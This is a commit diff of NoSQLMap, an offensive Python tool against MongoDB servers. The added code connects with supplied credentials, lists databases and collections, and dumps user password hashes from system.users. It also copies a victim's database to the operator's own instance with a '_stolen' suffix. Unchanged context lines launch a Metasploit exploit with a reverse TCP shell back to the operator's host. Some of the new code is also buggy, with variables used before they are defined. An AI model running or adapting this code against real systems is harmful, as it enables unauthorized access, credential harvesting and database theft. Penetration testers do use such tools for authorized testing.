13
13
#You should have received a copy of the GNU General Public License
14
14
#along with this program. If not, see <http://www.gnu.org/licenses/>.
15
15
16
+
16
17
import sys
17
18
import string
18
19
import random
@@ -32,7 +33,7 @@ def mainMenu():
32
33
select = True
33
34
while select :
34
35
os .system ('clear' )
35
- print "NoSQLMap v0.1-by Russell Butturini(tcstool @gmail.com) "
36
+ print "NoSQLMap v0.15DEV-nosqlmap @gmail.com"
36
37
print "\n "
37
38
print "1-Set options (do this first)"
38
39
print "2-NoSQL DB Access Attacks"
@@ -163,7 +164,7 @@ def options():
163
164
options ()
164
165
165
166
elif select == "7" :
166
- loadPath = raw_input ("enter file name to load: " )
167
+ loadPath = raw_input ("Enter file name to load: " )
167
168
try :
168
169
fo = open (loadPath ,"r" )
169
170
csvOpt = fo .read ()
@@ -173,7 +174,7 @@ def options():
173
174
webPort = optList [1 ]
174
175
uri = optList [2 ]
175
176
httpMethod = optList [3 ]
176
- myIp = optList [4 ]
177
+ myIP = optList [4 ]
177
178
myPort = optList [5 ]
178
179
179
180
#Set option checking array based on what was loaded
@@ -204,42 +205,83 @@ def netAttacks(target):
204
205
#This is a global for future use with other modules; may change
205
206
global dbList
206
207
207
- #Check for default config
208
- try :
209
- conn = pymongo .MongoClient (target ,27017 )
210
- print "MongoDB port open on " + target + ":27017!"
211
- mgtOpen = True
208
+ srvNeedCreds = raw_input ("Does the database server need credentials? " )
212
209
213
- except :
214
- print "MongoDB port closed."
210
+ if srvNeedCreds == "n" or srvNeedCreds == "N" :
211
+
212
+ try :
213
+ conn = pymongo .MongoClient (target ,27017 )
214
+ print "MongoDB port open on " + target + ":27017!"
215
+ mgtOpen = True
216
+
217
+ except :
218
+ print "MongoDB port closed."
215
219
216
220
217
- mgtUrl = "http://" + target + ":28017"
218
221
219
222
220
- try :
221
- #Future rev: Add web management interface parsing
223
+ elif srvNeedCreds == "y" or srvNeedCreds == "Y" :
224
+ srvUser = raw_input ("Enter server username: " )
225
+ srvPass = raw_input ("Enter server password: " )
226
+ uri = "mongodb://" + srvUser + ":" + srvPass + "@" + victim + "/"
227
+
228
+ try :
229
+ conn = pymongo .MongoClient (uri )
230
+ print "MongoDB authenticated on " + target + ":27017!"
231
+ mgtOpen = True
232
+ except :
233
+ raw_input ("Failed to authenticate. Press enter to continue..." )
234
+ mainMenu ()
235
+
236
+
237
+ mgtUrl = "http://" + target + ":28017"
238
+ #Future rev: Add web management interface parsing
239
+
240
+ try :
222
241
mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
223
242
if mgtRespCode == 200 :
224
- print "MongoDB web management open at " + mgtUrl + ". Check this out!"
225
-
226
- else :
227
- print "Got HTTP " + mgtRespCode + "from " + mgtUrl + "."
243
+ print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
244
+
228
245
except :
229
- print "MongoDB web management closed."
230
-
246
+
247
+ print "MongoDB web management closed or requires authentication."
248
+
231
249
if mgtOpen == True :
232
250
#Ths is compiling server info?????
233
251
print "Server Info:"
234
252
serverInfo = conn .server_info ()
235
253
print serverInfo
236
254
237
255
print "\n "
238
-
239
- print "List of databases:"
240
- dbList = conn .database_names ()
241
- print "\n " .join (dbList )
242
-
256
+
257
+ try :
258
+ print "List of databases:"
259
+ dbList = conn .database_names ()
260
+ print "\n " .join (dbList )
261
+ print "\n "
262
+
263
+ except :
264
+ print "Error: Couldn't list databases. The provided credentials may not have rights."
265
+
266
+ print "List of collections:"
267
+ #print "\n"
268
+
269
+ try :
270
+ for dbItem in dbList :
271
+ db = conn [dbItem ]
272
+ colls = db .collection_names ()
273
+ print dbItem + ":"
274
+ print "\n " .join (colls )
275
+ if 'system.users' in colls :
276
+ users = list (db .system .users .find ())
277
+ print "Database Users and Password Hashes:"
278
+ #print dbItem
279
+ print str (users )
280
+ #print "\n"
281
+
282
+ except :
283
+ print "Error: Couldn't list collections. The provided credentials may not have rights."
284
+
243
285
stealDB = raw_input ("Steal a database? (Requires your own Mongo instance): " )
244
286
245
287
if stealDB == "y" or stealDB == "Y" :
@@ -253,8 +295,7 @@ def netAttacks(target):
253
295
proc = subprocess .call ("msfcli exploit/linux/misc/mongod_native_helper RHOST=" + str (victim ) + " DB=local PAYLOAD=linux/x86/shell/reverse_tcp LHOST=" + str (myIP ) + " LPORT=" + str (myPort ) + " E" , shell = True )
254
296
255
297
except :
256
- print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
257
-
298
+ print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
258
299
raw_input ("Press enter to continue..." )
259
300
return ()
260
301
@@ -686,8 +727,21 @@ def stealDBs(myDB):
686
727
687
728
try :
688
729
#Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
689
- myDBConn = pymongo .MongoClient (myDB ,27017 )
690
- myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
730
+ dbNeedCreds = raw_input ("Does this database require credentials? " )
731
+
732
+ if dbNeedCreds == "n" or dbNeedCreds == "N" :
733
+ myDBConn = pymongo .MongoClient (myDB ,27017 )
734
+ myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim )
735
+
736
+ elif dbNeedCreds == "y" or dbNeedCreds == "Y" :
737
+ dbUser = raw_input ("Enter database username: " )
738
+ dbPass = raw_input ("Enter database password: " )
739
+ myDBConn .copy_database (dbList [int (dbLoot )- 1 ],dbList [int (dbLoot )- 1 ] + "_stolen" ,victim ,dbUser ,dbPass )
740
+
741
+ else :
742
+ raw_input ("Invalid Selection. Press enter to continue." )
743
+ stealDBs (myDB )
744
+
691
745
cloneAnother = raw_input ("Database cloned. Copy another?" )
692
746
693
747
if cloneAnother == "y" or cloneAnother == "Y" :
@@ -700,4 +754,4 @@ def stealDBs(myDB):
700
754
raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return..." )
701
755
mainMenu ()
702
756
703
- mainMenu ()
757
+ mainMenu ()
0 commit comments